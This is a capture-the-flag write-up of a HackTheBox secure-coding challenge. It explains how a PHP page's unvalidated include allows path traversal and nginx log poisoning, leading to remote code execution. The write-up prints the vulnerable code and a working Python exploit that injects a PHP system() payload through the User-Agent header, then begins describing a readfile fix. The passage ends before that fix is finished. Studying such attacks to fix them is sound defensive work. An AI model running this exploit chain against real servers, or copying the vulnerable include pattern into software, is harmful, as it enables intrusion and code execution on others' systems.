Secure Server — HackTheBox

Description

Bobby made a secure server, but someone got in! How did they get in? Can you stop it from happening again?

This is a "secure coding" challenge where you need to identify and fix vulnerabilities in a PHP web application. The challenge provides:

• Access to the web application source code via SMB share
• An exploit script (exploit.py) showing how the attack works
• A checker service to verify fixes

Analysis

Vulnerability 1: Local File Inclusion (LFI) + Log Poisoning → RCE

The vulnerable code in our-projects.php:

<?php
    $project = "orion";
    if (isset($_GET["project"])) {
        $project = strtolower($_GET["project"]);
    }
?>
...
<p><?php include "../projects/" . $project; ?></p>

Problems identified:

1. include executes PHP code from included files
2. No validation on project parameter allows path traversal (../)
3. Attacker can include any file on the system

Vulnerability 2: Path Traversal

No validation on the project parameter allowed ../ sequences to escape the intended directory and access arbitrary files like /var/log/nginx/access.log.

Attack Chain (from exploit.py)

from requests import get

IP = '127.0.0.1'
payload = 'whoami'
php_payload = f"<?php system('{payload}') ?>"

headers = {
    'User-Agent': php_payload
}

# Step 1: Poison the log with PHP code in User-Agent
get(f'http://{IP}/', headers=headers)

# Step 2: Include the poisoned log via LFI
r = get(f'http://{IP}/our-projects.php?project=../../../../var/log/nginx/access.log')
print(r.text)

Attack flow:

1. Send request with PHP payload in User-Agent header
2. Nginx logs the malicious User-Agent to access.log
3. Use LFI to include access.log
4. PHP executes the injected code → RCE

Solution

Fix 1: Replace include with readfile

Changed from include (which executes PHP code) to readfile (which only outputs file contents as text):

// Before (vulnerable):
<p><?php include "../projects/" . $project; ?></p>

...